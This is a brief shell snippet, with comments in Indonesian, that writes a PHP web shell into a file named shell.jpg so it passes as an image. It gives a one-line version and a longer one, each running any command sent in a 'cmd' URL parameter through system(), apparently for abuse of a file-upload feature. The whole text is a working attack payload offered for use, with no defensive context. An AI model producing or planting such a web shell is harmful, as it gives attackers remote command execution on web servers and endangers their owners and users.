# Buat file shell.jpg
echo '<?php system($_GET["cmd"]); ?>' > shell.jpg

# Atau jika ingin lebih canggih
cat > shell.jpg << 'EOF'
<?php
if(isset($_GET['cmd'])){
    echo "<pre>";
    system($_GET['cmd']);
    echo "</pre>";
} else {
    echo "No command specified";
}
?>
EOF